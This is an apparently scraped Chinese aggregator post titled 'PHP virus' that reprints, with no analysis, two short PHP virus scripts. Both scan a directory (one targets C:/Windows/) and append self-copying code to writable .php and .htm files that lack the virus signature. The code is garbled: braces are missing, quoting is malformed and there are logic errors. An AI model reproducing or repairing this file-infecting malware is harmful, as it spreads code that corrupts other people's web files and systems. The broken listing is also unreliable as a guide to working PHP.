php病毒
Posted 童年的天空
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php病毒相关的知识,希望对你有一定的参考价值。
<?php
//第一只php病毒(据说是)
$handle=opendir('.');
while ($file = readdir($handle))
$infected=true;
$executable=false;
if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
if (($infected==false))
$host = fopen($file, "a");
fputs($host,"fputs($host,__FILE__);
fputs($host,"/"); ");
fputs($host,"?>");
fclose($host);
return;
closedir($handle);
print "hello";
?>
<?php
//第二个病毒:
$vir_string = "Neworld.PHP/n";
$virstringm = "Welcome To The New World Of PHP Programming/n";
$virt = $vir_string . $virstringm;
echo $virt;
$all = opendir('C:/Windows/');
while ($file = readdir($all))
$inf = true;
$exe = false;
if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe =strstr ($file, '.htt')) )
if ( is_file($file) && is_writeable($file) )
$new = fopen($file, "r");
$look = fread($new, filesize($file));
$yes = strstr ($look, 'neworld.php');
if (!$yes) $inf = false;
if ( ($inf=false) )
$new = fopen($file, "a");
$fputs($new, "");
$fputs($new, "$fputs($new, __FILE__);
$fputs($new, "/"); ");
$fputs($new, "?>");
return;
closedir($all);
?>
以上是关于php病毒的主要内容,如果未能解决你的问题,请参考以下文章